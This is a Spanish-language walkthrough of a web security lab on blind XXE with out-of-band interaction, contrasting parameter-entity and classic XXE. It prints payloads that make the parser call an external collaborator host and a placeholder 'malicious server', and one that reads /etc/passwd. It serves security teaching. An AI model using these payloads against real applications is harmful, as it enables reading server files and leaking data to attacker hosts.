Skip to content

20251114015926.png

Lab: Blind XXE with out-of-band interaction via XML parameter entities

En el sitio web encontraremos un apartado para revisar el stock de los productos.

20251117110726.png

En este podemos inyectar un xml malicioso y hacer las peticiones a nusetro servidor.

c
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://k2n9t31uxg9so8754k3jyfcqyh48sygn.oastify.com"> %xxe; ]>

20251117110752.png

c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://k2n9t31uxg9so8754k3jyfcqyh48sygn.oastify.com"> %xxe; ]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>

20251117110821.png

Diferencias entre XXE Interno vs XXE Clásico

Interno

c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY % xxe SYSTEM "http://mi-servidor-malicioso.com/xxe-test">
  %xxe;
]>
<stockCheck>
  <productId>1</productId>
  <storeId>1</storeId>
</stockCheck>
  • La aplicación recibe este XML
  • Al procesarlo, inmediatamente ve la DTD y la entidad %xxe;
  • Intenta cargar la URL: http://mi-servidor-malicioso.com/xxe-test
  • Tú, como atacante, ves en tus logs del servidor malicioso:

Clásico

c
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>1&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
  • La aplicación recibe el XML
  • Procesa la DTD pero no hace nada aún
  • Cuando llega a <productId>1&xxe;</productId>, reemplaza &xxe; con el contenido del archivo /etc/passwd
  • Si la aplicación muestra el productId en la respuesta, verías: